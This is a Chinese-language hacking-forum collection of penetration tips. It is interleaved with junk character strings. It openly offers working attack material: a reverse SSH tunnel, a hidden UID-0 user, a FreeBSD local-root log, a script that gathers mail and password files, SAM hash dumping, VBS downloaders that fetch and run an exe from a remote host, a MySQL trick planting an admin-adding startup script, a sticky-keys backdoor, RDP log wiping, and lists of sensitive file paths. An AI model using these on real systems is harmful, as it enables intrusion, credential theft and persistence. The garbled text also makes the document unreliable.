ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

* |9 P* s( I3 g9 [0 k; e* V( ^+ ~六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
4 o) `4 T4 C  i
6 @/ K( q9 w3 Q  R15&catid=32:languages&Itemid=47
7 J  d" G% Y0 R% U9 W7 I  z
重新设置密码
index.php?option=com_user&view=reset&layout=confirm
3 }" {5 K3 e4 f1 [, u% g
# d3 x" }1 g1 K; E  G; p七: Linux添加UID为0的root用户
8 R/ J; z, C# }, u- euseradd -o -u 0 nothack

八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
% Z) o4 s7 P# Q0 r9 R* [argp@julius ~]$ id
8 ]. g2 _2 i% p7 e! g! Z* uid=1001(argp) gid=1001(argp) groups=1001(argp)
/ N1 O: S4 ~. t$ `, H* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
  J1 `, E1 {' d7 |& ?; K7 S0 bcalling nmount()

1 z4 c0 O2 V( B4 Y+ m, |（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
2 e, v- [; F9 |, V——————————————
; D2 S5 E$ m0 C6 o6 }1 w* S2 `. T感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
* W) w- a+ I/ W4 F7 B* ~————————————————————————————
) d/ b, a( ^( d, ^1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
4 }  F- R1 k0 \6 {% W  U. l{
1 F4 H* }4 a( j) L& ^5 [注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
8 E3 m- u9 |" u5 b4 f' G* w1 I6 H/ U若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
3 U9 S1 m- J" t3 S
) Z  r6 u9 ]0 W# f( u5 n提权先执行systeminfo
token 漏洞补丁号 KB956572
3 h! U+ i- j* wChurrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
9 b: s6 m% s; K/ \4 j——————————————
2、收集系统信息的脚本  
for window：
: i# X% K* Q4 Z
" D" r9 X; B. V/ A$ |/ V@echo off
echo #########system info collection
systeminfo
) ?$ L& C+ n( ~; @( l' H8 |! o8 gver
6 }- Z, l2 G* Bhostname
0 R6 P7 ~  j$ M' a, B+ Ynet user
net localgroup
net localgroup administrators
net user guest
net user administrator
7 V3 q& ~3 c& T) R
echo #######at- with   atq#####
echo schtask /query
& N. A/ d, F: u+ s7 I
echo
4 f! X& |* Z/ x( ]- `4 hecho ####task-list#############
0 q. e0 s: T+ j4 S( ctasklist /svc
9 P- j0 S" ~- E  Y+ j; kecho
; D; z7 E  _7 S) c- i& Oecho ####net-work infomation
) p& H; ?) C" Y* `ipconfig/all
% v& K, q& r% S. s$ A& Droute print
arp -a
netstat -anipconfig /displaydns
echo
" d. R8 `7 `6 r3 p1 G% N+ \echo #######service############
sc query type= service state= all
8 J8 s6 s5 _" ~: E( q% zecho #######file-##############
# q3 p: t6 [& i1 ^/ q! a$ ~cd \
0 j, b9 M0 m+ i' Z" [7 U2 Xtree -F
- v" Y2 a' u1 k" F' c7 G0 ufor linux：
% ]7 x$ m7 g8 w7 ]  D) ?; s" T" J
#!/bin/bash
8 i2 y- d+ o/ F  _" G
; E0 g6 g0 Z7 }+ Q. g7 Zecho #######geting sysinfo####
5 t- J& K6 `& _# eecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
$ q- ]$ w4 H4 [5 ~; o$ y: secho #######basic infomation##
! `+ `0 h9 @0 Q# m! j( I! v4 U( `+ U( Ccat /proc/meminfo
echo
1 w7 ^; s5 F& L! L' |  Jcat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
& G+ S0 p7 c5 \" v  A& F######stole the mail......######
& U$ X- G3 a- q4 a' \1 Qcp -a /var/mail /tmp/getmail 2>/dev/null
- c) g5 |9 ^; ]8 Y4 T; V

echo 'u'r id is' `id`
7 N6 Y" M+ d) v. D+ ^# iecho ###atq&crontab#####
& i# T9 W& F. F& g- yatq
8 k( o" X. G: d5 U! jcrontab -l
echo #####about var#####
+ d; f2 B! t/ P+ ?- B8 ]6 a$ Uset

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
) K& o7 Y7 X, H- V0 C+ R, d+ N3 tcat /etc/hosts
! @6 B6 ~6 r6 Q! u" u6 R" \hostname
, m5 @2 O" t  V# s' A+ b+ Fipconfig -a
arp -v
) m$ C  Q* [( v$ ^echo ########user####
cat /etc/passwd|grep -i sh

echo ######service####
chkconfig --list
# a9 o+ X* W$ Q$ ?5 h1 g
for i in {oracle,mysql,tomcat,samba,apache,ftp}
$ Y1 y  _, T- D; Q" F' ^! Fcat /etc/passwd|grep -i $i
done

: }/ Q% g7 F# C( a, t6 Nlocate passwd >/tmp/password 2>/dev/null
/ ]8 T* ]$ I# W  M; [" ~sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
0 ^  G5 e# R2 N* C; o5 u$ [1 Clocate conf >/tmp/sysconfig 2>dev/null
4 D" i, c" Q7 U( _0 wsleep 5
! M- Y1 q. N. a7 P, ~locate config >>/tmp/sysconfig 2>/dev/null
: S+ L7 e% s! [6 W& ^( tsleep 5

###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
6 x- Y' L& _' b——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
* z9 D) [9 h1 S( x$ ?4 ]接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
- r& J) ]1 n. D3 k( t1 y! W据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
3 ?( U, u2 ]2 v9 r' ^: o* p——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
0 @+ M5 C; E, P" J! h) ~: cecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
: {7 L& ]7 V! U/ z, j( Z8 k  t" necho sGet.Type = 1 >>c:\windows\cftmon.vbs
! j( v( t1 n, u7 H3 ^) [6 xecho sGet.Open() >>c:\windows\cftmon.vbs
. \; x' G2 i, e: s1 ~7 U8 k9 C% vecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
) ~$ k5 V9 g! m# L# Kecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
! k0 M# b1 C; h! K2 ^0 Becho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
5 l9 C" j: ~  JiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
  W/ d9 E2 S; N& Q1 g+ Ms1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
9 @- B9 d  O1 R1 L3 R- ?5 wSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
1 o1 B& h1 _  r/ EsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
8 X& w  V" M1 ?. W3 S$ V5 r- C  ?
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
# F: R% b. k9 y
( ~. N; f  q5 e# A当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
  W# R" p% ^( I) `5 u——————————————————
3 W8 m/ p! t' t1 f4 @4 Y- L5 G2 W5、
! n# F0 K) z# p; u9 C4 \1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
  z  y& Y6 O: {( g3 |7 \3 D7 W2.开启XP&2003终端服务
8 ~5 A. S* B& a5 s6 FREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
+ T2 u" f. ~% V$ T3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
* s3 }3 x5 z; |" fREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
5 k% r  q8 |) O8 e4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
: Q8 p$ `! j0 v( z+ L2 ]1 YREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
3 T0 f# l! O9 t! n9 ainsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
: E+ `7 _  d! f! c" t- iinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
* c( Y1 t. o+ Z; w. x% X————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
+ D) T: v- V: j( ^. X6 ^% _8、for /d %i in (d:\freehost\*) do @echo %i
5 v# U& F0 @/ G# ]" t- G! v
% L/ t& u5 L; b. ?( x, _列出d的所有目录
" o1 T0 Q4 |$ ?0 a8 Z1 t  
  for /d %i in (???) do @echo %i
3 u6 O! e1 F% f
把当前路径下文件夹的名字只有1-3个字母的打出来
+ m, o$ R5 P2 n( ^
5 h% z# i2 i6 S! p! g) U2.for /r %i in (*.exe) do @echo %i
  
5 o; X- {$ x) A+ b/ z以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
% ?  Q8 I( A8 b$ w' d. r  Z
3.for /f %i in (c:\1.txt) do echo %i
) g- {6 K! }& k9 |  
* \- u, \, j' t# G2 p  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
" j$ M3 M  V, S  a" F
8 p7 m( C& y1 d4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
; P! I+ {5 B( m" S
9 M9 G) @3 c- |' o$ F  delims=后的空格是分隔符 tokens是取第几个位置
: W) j5 |  F) `% X! j: Y- u——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
9 U8 T' n9 B9 S. s" w* [' R
7 v' m( E: Z0 X, l; P% Z2.修改3389的默认端口:
7 V& Q& R1 v( Z8 a. v- i. z: KHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
, U" w; w8 g: ~& M; }/ O; \+ p
( M+ V- X- Q+ ?' Q0 Z+ p3.清除3389登录记录:
: H. s/ e& B& P) X2 Yreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
5 l5 H6 n/ m9 _; V
: f6 M7 X- n4 e7 `# g. O2 h  [4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

& v6 E* l) f" R) _/ B/ a1 \5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
+ V/ t$ u- C) I
  k) I/ S" K1 X* @( ?. z6.IPSec默认免除项88端口(需重启):
; [$ F6 l& o' f$ Y$ Ireg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
* E% T$ \( L2 Onetsh ipsec dynamic set config ipsecexempt value=0

4 I8 M- u# J- O9 o$ }3 ~' m* N- W7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
$ W1 b: g" N/ I0 C$ [reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
1 {, V& U8 y. X8 A  Z$ ]3 ^
9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
3 g, Z- ^. y. A! ireg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
" _& Z* ]; D; ?+ z7 F5 ?
" t' J# O" U, m9 h# b8 L$ creg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
8 I+ |9 }& m& L' `4 [8 A  ~-----------------------------------
: ]& x& _9 O  ]; B星外vbs(注：测试通过，好东西）
2 S) c/ E* E2 v% Z" bSet ObjService=GetObject("IIS://LocalHost/W3SVC")
9 [! q, ]7 F& \6 Q5 \1 kFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
5 W+ I1 Z5 Z0 ^1 d6 n; Bif IsNumeric(childObjectName)=true then
/ x9 P0 \; |6 d' {- H! Iset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
wscript.quit
1 P8 Q- V4 X% d. r+ I7 D2 s) V+ aend if
serverbindings=IIS.serverBindings
6 I% {5 b# Y) B+ d) i6 ^ServerComment=iis.servercomment
9 |$ z7 M9 k- Qset IISweb=iis.getobject("IIsWebVirtualDir","Root")
" E) P$ N3 N: P4 O1 {& Cuser=iisweb.AnonymousUserName
) D2 F! V9 v, z. m7 O8 gpass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
# z8 m8 k: c# f/ u; }& E2 L- Kend if
Next
wscript.echo list
  X. B+ X; M3 E! e/ ASet ObjService=Nothing
& K3 X2 G( d. k* l0 X( C1 D( iwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
8 ?" S( g; h: A: m8 @WScript.Quit
; q& ~/ a  H0 ~( i2 \2 c$ ]复制代码
. }, {- ~3 A$ w. X$ f$ m! K4 j8 K" V; y----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
; b" h' D+ S% V! g2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
! o0 [% _9 x; h' j: k7 k' i<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
: H. {+ B) ]! Q4 G% W* k2 s% gPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
0 Q9 I3 f; l$ q8 {* L$ @! I 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
. J8 S+ N5 g: K0 ]* t3 ]! Y. X path_info可以直接呈现虚拟路径 顺利解析gif大马
; G- t0 f1 J- c
==============================================================
LINUX常见路径：
2 v) N  d8 {/ a* Y7 b. R
' n5 u: E) M; L& d8 a9 Q4 Q/etc/passwd
/etc/shadow
: n* n+ r0 P9 _% B: C/etc/fstab
  f4 f% N2 t! m; p  Z9 ?) h8 `' f/etc/host.conf
- E. E! s0 f  g3 n/ E, x2 h9 Q; \/etc/motd
/ V, O1 Q  D0 v  q' r* H/etc/ld.so.conf
0 F# d7 x  X* g% Z& X8 L  \/var/www/htdocs/index.php
5 ~% M: w/ B- Q) H" S$ V/var/www/conf/httpd.conf
/var/www/htdocs/index.html
, A2 c; ?8 u6 O8 F# m$ f/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
- ~8 `4 `: o! u$ I2 I/ H/var/httpd/conf/httpd.conf
' m0 h; H+ B$ z! `: V/ h1 _( e" g/var/httpd/htdocs/index.html
# Q  }$ _: Y: ^6 `; W0 @( O/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
& w5 z9 K; G# q) z9 I/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
' k3 r2 O0 V! z. K/usr/local/apache/htdocs/index.html
, K1 l  h& [6 U0 @/ A/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
* N' {" Z4 M; L( P) o  j$ [6 X2 g/usr/local/httpd2.2/htdocs/index.html
8 J% e9 ]1 T) _/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
( i4 g+ q3 B/ t/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
$ q% g& e' v/ K. c3 E% x/www/php4/php.ini
/www/php5/php.ini
: Q- L. k4 [: i, \/www/conf/httpd.conf
/www/htdocs/index.php
& u) Q5 u2 x( i0 j/www/htdocs/index.html
! f4 B$ J) C, ], p$ X" o  @/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
2 `8 u# J* q  T& H: r/etc/apache/apache.conf
- |: g+ _& }5 ]. ]8 y% ]+ c/etc/apache2/apache.conf
/etc/apache/httpd.conf
7 |* c- s8 O/ V8 g  G9 L/etc/apache2/httpd.conf
5 d" g0 w! t0 a5 ?% p/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
! T+ r9 K3 ^8 j% K4 O/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
% R/ G: F9 `' \; R. A/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
$ w' s( _/ M- b! k1 }1 @/home/apache/conf/httpd.conf
0 A  f) S4 N( g% d" c. k4 X# o/home/apache2/conf/httpd.conf
4 Q8 d* f7 E" \% Z& W# ~3 X6 j/var/log/apache/error_log
; P2 s  h& a- A5 ^6 S) {/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
! n+ t. g+ @- [- R0 s/var/log/apache2/error_log
' S3 z) a7 u/ v* w7 N2 v/var/log/apache2/error.log
% L! K3 `( y: u; J. J6 X/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
. j7 S% n. U  ]/var/www/logs/error.log
8 l# Y0 Z# F: n' w) q* ?/var/www/logs/access_log
/var/www/logs/access.log
  K& e1 _5 h9 y' Q, x& O. Z/usr/local/apache/logs/error_log
- G+ [/ |( w3 f' b1 G6 T/usr/local/apache/logs/error.log
7 _1 n" y; k; o9 G9 @/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
, H) w: k! |$ Y: L0 I" q( W/var/log/access_log
/var/log/access.log
8 _7 q$ {" I* [/usr/local/apache/logs/access_logaccess_log.old
/ s: k; i9 |& T  c9 |) B/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
6 G  L5 l0 o' K9 A6 \4 K9 \1 U/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
: x; v+ i! G( T& G- n% x( @  B, s/usr/lib/php/php.ini
3 U8 {5 z5 _- Q/ r4 j$ Z/usr/local/etc/php.ini
/usr/local/lib/php.ini
# t, T9 S" }+ `/usr/local/php/lib/php.ini
# P3 e! D( P+ n5 t$ H/ o/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
8 j9 `! _0 \# Q+ v6 {' e0 D5 {/usr/local/php4/lib/php.ini
5 H& _, B5 _8 J& p, p- f: E- n$ g/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/ \7 i! E2 h9 ~0 j' ~/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
) y" c; y4 r- W7 x) a/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
' Y  ~% c; ?+ O, a# V/ |+ m/etc/php4.4/fcgi/php.ini
. X; Q) c5 m' _( q/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
6 `( H/ ?1 Y  G- s& c/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
) h) z" C3 W! o' ]/etc/php/apache/php.ini
6 s& J$ {. O6 L) d6 C, D/etc/php/apache2/php.ini
4 s9 Q, x7 b! s/ F1 ?+ c8 K( w/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
4 {, k- E/ m4 ^/ S9 n3 O1 O  ~/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
4 ~  J4 F' n4 N# m; p/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
- p" B0 u& ~  z0 C* r5 z/php5/php.ini
/php4/php.ini
/php/php.ini
: }8 ]( E1 \9 F0 a8 e/ E! z/PHP/php.ini
7 j- A5 O8 N$ g9 p4 A/apache/php/php.ini
/xampp/apache/bin/php.ini
& a6 r0 q& D/ r! o0 r5 ~0 j9 s/xampp/apache/conf/httpd.conf
6 f. c; s2 o8 v  R. {1 A/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
) x5 B( s: }' L  b/var/log/mysql/mysql-bin.log
# M  [4 U; _. c# ?2 \/var/log/mysql.log
/var/log/mysqlderror.log
7 t2 m# B) g( B4 g/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
! e/ p) X4 k; T, t" Y5 l# H2 e, C/var/mysql.log
1 u4 C' m7 s" _7 K/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
" o. M) {$ s- i& u& w& U: a. D/etc/mysql/my.cnf
/etc/my.cnf
5 [& Q- Y6 w: g# h* W2 a- o+ f+ f7 F/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
( B0 L6 }& e. H  B, w$ _/usr/local/cpanel/logs/access_log
' M  N2 ^) F& Q5 M6 v/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
* T1 c2 t- d% T) }" \9 g' S/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

) j2 D* Q- S, s  z2 t5 z2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
& E: K( z# |: o# J% J
c:\windows\php.ini
2 m, _0 ~3 [4 W1 X' y" Mc:\boot.ini
4 g+ C( M+ g: V( O% ^c:\1.txt
7 c( E/ h) {) Xc:\a.txt

- I  X7 r5 r* lc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
9 ?/ k" O# X8 J. c+ h5 \c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
3 x) S; n1 b0 zc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
- W3 M1 T$ X4 M% Y0 x! tC:\WINDOWS\FreeHost32.dll
1 |! x2 N$ b  n/ G& a) G  A3 ~) z# CC:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

5 W9 X  j9 Z6 }1 H" Y, y5 Ec:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

! m+ R4 D6 d: L: H/ I0 NC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
5 N- O  ?7 b# Tc:\web\index.asp
" ~* m. `/ Z8 M2 G0 T) E8 ^4 Xc:\www\index.asp
; c( U& F$ Z$ G9 d4 W) z8 sc:\wwwsite\index.asp
c:\WWWROOT\index.asp
5 Q  Q- y! z' V2 Oc:\web\index.php
c:\www\index.php
) ?7 D7 }2 o4 H7 Z  V7 ac:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
7 P2 G: Z% D* W  ?9 u+ H9 n  Wc:\www\default.html
/ V" r2 p) p3 ?9 ?( l5 `( Jc:\WWWROOT\default.html
% @1 E. z9 i6 `3 h, X- G7 d' z; rc:\website\default.html
1 L3 g. {% p% U5 }c:\web\default.asp
# u/ ^( f. e+ f/ y- |4 U; l/ Gc:\www\default.asp
# }& P% S( @& i, e# p. o/ l' Cc:\wwwsite\default.asp
4 N. K3 E9 G0 Jc:\WWWROOT\default.asp
- z: M. ~( n& \' ^c:\web\default.php
0 ]0 w. I% `- V, v) X# r" j" Tc:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
& x6 P" o! ^; ^1 j# H# A$ Bc:\winnt\notepad.exe
" s% U! _. G% B% n( J* o: d9 _% ~- qC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
; F8 s% ]% R& O: R% t6 UC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
7 O! c+ T4 u4 B! ~! eC:\Program Files\360\360Safe\360safe.exe
% `$ O6 o/ P6 t. ^C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
& L# V$ H5 y$ v7 L1 E% ^- ]) QC:\Program Files\Rising\Rav\RsTask.xml
0 J/ ]' k( \) t/ ?- F/ D6 vC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
$ y/ r  I# k) G: h( _$ x. wC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
% g- f8 x+ X3 Q- ?7 iC:\Documents and Settings\Administrator\My Documents\1.txt
6 I1 P, c& D6 z8 l1 EC:\Documents and Settings\Administrator\桌面\1.txt
% \; T( `+ g" F; G5 K" A; r  JC:\Documents and Settings\Administrator\My Documents\a.txt
4 j' b; L, a; j1 H7 q8 `; iC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
, H% c! y9 R( Q, Z- F2 i) L9 vC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
2 s4 d8 K1 G* j3 TC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
$ w6 q: J0 M& i6 I) t/ Z+ r) SC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
9 Z8 ~5 U- |/ U: r% F( @% ~( xC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
1 O) A3 A% y9 |: X, \C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
6 j! L) ~, S& i7 X4 [C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
$ w# C6 H: ]) a' I3 a4 [' jC:\Program Files\MySQL\MySQL Server 5.0\COPYING
